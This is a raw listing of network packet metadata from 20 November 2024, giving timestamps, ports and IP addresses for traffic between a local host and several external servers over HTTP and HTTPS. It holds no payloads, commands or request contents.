Nov 20, 2024 14:43:42.336127996 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.336194038 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.336313009 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.336364985 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.337193012 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.337254047 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.337363958 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.337605953 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.338104010 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.338268995 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.338593960 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.338660002 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.339119911 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.339205980 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.339426041 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.339476109 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.340101957 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.340151072 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.340656042 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.340667963 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.340679884 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.340691090 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.340702057 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.340711117 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.340754032 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.343302965 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.343369961 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.343559980 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.343605995 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.344295979 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.344314098 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.344357014 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.345259905 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.345309019 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.345405102 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.345485926 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.346296072 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.346340895 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.370770931 CET	443	49861	20.74.47.205	192.168.2.6
Nov 20, 2024 14:43:42.370789051 CET	443	49861	20.74.47.205	192.168.2.6
Nov 20, 2024 14:43:42.370969057 CET	49861	443	192.168.2.6	20.74.47.205
Nov 20, 2024 14:43:42.370969057 CET	49861	443	192.168.2.6	20.74.47.205
Nov 20, 2024 14:43:42.370979071 CET	443	49861	20.74.47.205	192.168.2.6
Nov 20, 2024 14:43:42.371021986 CET	49861	443	192.168.2.6	20.74.47.205
Nov 20, 2024 14:43:42.371248007 CET	443	49861	20.74.47.205	192.168.2.6
Nov 20, 2024 14:43:42.371284962 CET	49861	443	192.168.2.6	20.74.47.205
Nov 20, 2024 14:43:42.371294975 CET	443	49861	20.74.47.205	192.168.2.6
Nov 20, 2024 14:43:42.371329069 CET	49861	443	192.168.2.6	20.74.47.205
Nov 20, 2024 14:43:42.371337891 CET	49861	443	192.168.2.6	20.74.47.205
Nov 20, 2024 14:43:42.432543993 CET	443	49862	20.74.47.205	192.168.2.6
Nov 20, 2024 14:43:42.432610035 CET	443	49862	20.74.47.205	192.168.2.6
Nov 20, 2024 14:43:42.432653904 CET	443	49862	20.74.47.205	192.168.2.6
Nov 20, 2024 14:43:42.432670116 CET	49862	443	192.168.2.6	20.74.47.205
Nov 20, 2024 14:43:42.432696104 CET	49862	443	192.168.2.6	20.74.47.205
Nov 20, 2024 14:43:42.432707071 CET	443	49862	20.74.47.205	192.168.2.6
Nov 20, 2024 14:43:42.432758093 CET	49862	443	192.168.2.6	20.74.47.205
Nov 20, 2024 14:43:42.449178934 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:42.449194908 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:42.449280977 CET	49857	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:42.449296951 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:42.449343920 CET	49857	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:42.478806973 CET	49877	443	192.168.2.6	184.28.190.91
Nov 20, 2024 14:43:42.478888988 CET	443	49877	184.28.190.91	192.168.2.6
Nov 20, 2024 14:43:42.479165077 CET	49877	443	192.168.2.6	184.28.190.91
Nov 20, 2024 14:43:42.479609013 CET	49877	443	192.168.2.6	184.28.190.91
Nov 20, 2024 14:43:42.479635954 CET	443	49877	184.28.190.91	192.168.2.6
Nov 20, 2024 14:43:42.488114119 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:42.488130093 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:42.488207102 CET	49857	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:42.488221884 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:42.488301039 CET	49857	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:42.491890907 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.491899967 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.491986036 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.492156982 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.492167950 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.492196083 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.492249012 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.493120909 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.493175983 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.493453026 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.493632078 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.494081974 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.494441986 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.494489908 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.495124102 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.495172024 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.495326042 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.496141911 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.496187925 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.496294975 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.496355057 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.497261047 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.497304916 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.497324944 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.497353077 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.498332977 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.498379946 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.498418093 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.499170065 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.499187946 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.499212027 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.499227047 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.500263929 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.500536919 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.500580072 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.501215935 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.501259089 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.501312017 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.501348972 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.504734993 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:42.504748106 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:42.504872084 CET	49857	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:42.504887104 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:42.505251884 CET	49857	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:42.505321026 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.505331993 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.505368948 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.507422924 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.507436991 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.507447958 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.507487059 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.507525921 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.507550001 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.507831097 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.508048058 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.508090019 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.508225918 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.508402109 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.509191990 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.509233952 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.509327888 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.509370089 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.510307074 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.510478973 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.510524988 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.511296034 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.511302948 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.511347055 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.524406910 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:42.524424076 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:42.524518967 CET	49857	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:42.524533987 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:42.524625063 CET	49857	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:42.592551947 CET	443	49862	20.74.47.205	192.168.2.6
Nov 20, 2024 14:43:42.592627048 CET	443	49862	20.74.47.205	192.168.2.6
Nov 20, 2024 14:43:42.592669010 CET	49862	443	192.168.2.6	20.74.47.205
Nov 20, 2024 14:43:42.592700958 CET	49862	443	192.168.2.6	20.74.47.205
Nov 20, 2024 14:43:42.619570017 CET	49862	443	192.168.2.6	20.74.47.205
Nov 20, 2024 14:43:42.619599104 CET	443	49862	20.74.47.205	192.168.2.6
Nov 20, 2024 14:43:42.619611025 CET	49862	443	192.168.2.6	20.74.47.205
Nov 20, 2024 14:43:42.619863033 CET	49862	443	192.168.2.6	20.74.47.205
Nov 20, 2024 14:43:42.654954910 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:42.654959917 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.654989958 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:42.655055046 CET	49857	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:42.655065060 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:42.655148983 CET	49857	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:42.655148983 CET	49857	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:42.672245026 CET	443	49869	162.159.61.3	192.168.2.6
Nov 20, 2024 14:43:42.672472000 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:42.672499895 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:42.672553062 CET	49857	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:42.672560930 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:42.672593117 CET	49857	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:42.672658920 CET	49857	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:42.673226118 CET	49869	443	192.168.2.6	162.159.61.3
Nov 20, 2024 14:43:42.673238039 CET	443	49869	162.159.61.3	192.168.2.6
Nov 20, 2024 14:43:42.673620939 CET	443	49869	162.159.61.3	192.168.2.6
Nov 20, 2024 14:43:42.675286055 CET	443	49868	162.159.61.3	192.168.2.6
Nov 20, 2024 14:43:42.677680969 CET	49869	443	192.168.2.6	162.159.61.3
Nov 20, 2024 14:43:42.677757978 CET	443	49869	162.159.61.3	192.168.2.6
Nov 20, 2024 14:43:42.678558111 CET	49868	443	192.168.2.6	162.159.61.3
Nov 20, 2024 14:43:42.678607941 CET	443	49868	162.159.61.3	192.168.2.6
Nov 20, 2024 14:43:42.679820061 CET	443	49866	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:42.679896116 CET	443	49868	162.159.61.3	192.168.2.6
Nov 20, 2024 14:43:42.680759907 CET	49868	443	192.168.2.6	162.159.61.3
Nov 20, 2024 14:43:42.680783033 CET	49866	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:42.680794001 CET	443	49866	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:42.680986881 CET	443	49868	162.159.61.3	192.168.2.6
Nov 20, 2024 14:43:42.681108952 CET	49866	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:42.681116104 CET	443	49866	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:42.687824965 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:42.687851906 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:42.691217899 CET	49857	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:42.691229105 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:42.691276073 CET	49857	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:42.705385923 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:42.705471039 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:42.705493927 CET	49857	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:42.705506086 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:42.705564022 CET	49857	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:42.705564022 CET	49857	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:42.722948074 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:42.722968102 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:42.723206043 CET	49857	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:42.723218918 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:42.723489046 CET	49857	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:42.743931055 CET	49868	443	192.168.2.6	162.159.61.3
Nov 20, 2024 14:43:42.770425081 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:42.770471096 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:42.770562887 CET	49857	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:42.770562887 CET	49857	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:42.770575047 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:42.770916939 CET	49857	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:42.775379896 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.846636057 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:42.846703053 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:42.846790075 CET	49857	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:42.846790075 CET	49857	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:42.846805096 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:42.847029924 CET	49857	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:42.859672070 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:42.859719992 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:42.859853983 CET	49857	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:42.859853983 CET	49857	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:42.859873056 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:42.861820936 CET	49857	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:42.873317957 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:42.873362064 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:42.873442888 CET	49857	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:42.873442888 CET	49857	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:42.873456001 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:42.873517990 CET	49857	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:42.882992029 CET	443	49867	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:42.883626938 CET	49867	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:42.883646965 CET	443	49867	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:42.884208918 CET	49867	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:42.884212971 CET	443	49867	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:42.887274027 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:42.887336969 CET	443	49869	162.159.61.3	192.168.2.6
Nov 20, 2024 14:43:42.887365103 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:42.887413025 CET	49857	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:42.887424946 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:42.887454987 CET	49869	443	192.168.2.6	162.159.61.3
Nov 20, 2024 14:43:42.887514114 CET	49857	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:42.887514114 CET	49857	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:42.897079945 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:42.897133112 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:42.897177935 CET	49857	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:42.897200108 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:42.897324085 CET	49857	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:42.897324085 CET	49857	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:42.903081894 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:42.903127909 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:42.903239965 CET	49857	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:42.903239965 CET	49857	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:42.903253078 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:42.903341055 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:42.903640032 CET	49857	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:42.903640032 CET	49857	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:42.903652906 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:43.045783997 CET	49879	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:43.045830965 CET	443	49879	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:43.046108007 CET	49879	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:43.049341917 CET	49879	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:43.049375057 CET	443	49879	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:43.111855030 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.111948013 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.111963034 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.112032890 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.112046003 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.112071037 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.112088919 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.112109900 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.112874031 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.112927914 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.112960100 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.113025904 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.113626957 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.113686085 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.113810062 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.113854885 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.114772081 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.114830017 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.114892006 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.115689039 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.115751028 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.115878105 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.115932941 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.116719961 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.116765022 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.116854906 CET	443	49866	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:43.116879940 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.116933107 CET	443	49866	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:43.116986990 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.117104053 CET	49866	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:43.117342949 CET	49866	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:43.117342949 CET	49866	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:43.117363930 CET	443	49866	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:43.117374897 CET	443	49866	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:43.117697954 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.117748022 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.118446112 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.118635893 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.118791103 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.118832111 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.121052027 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.121073961 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.121087074 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.121097088 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.121099949 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.121109009 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.121130943 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.121170998 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.122026920 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.122085094 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.122103930 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.122147083 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.123016119 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.123038054 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.123217106 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.124706984 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.124720097 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.124810934 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.124838114 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.124861002 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.124906063 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.126013994 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.126027107 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.126086950 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.127104044 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.127160072 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.127249002 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.127321959 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.128407001 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.128412962 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.128484011 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.129282951 CET	49880	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:43.129367113 CET	443	49880	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:43.129456997 CET	49880	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:43.129564047 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.129671097 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.129776001 CET	49880	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:43.129811049 CET	443	49880	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:43.130038977 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.130089045 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.130253077 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.130273104 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.130295038 CET	49800	80	192.168.2.6	185.215.113.206
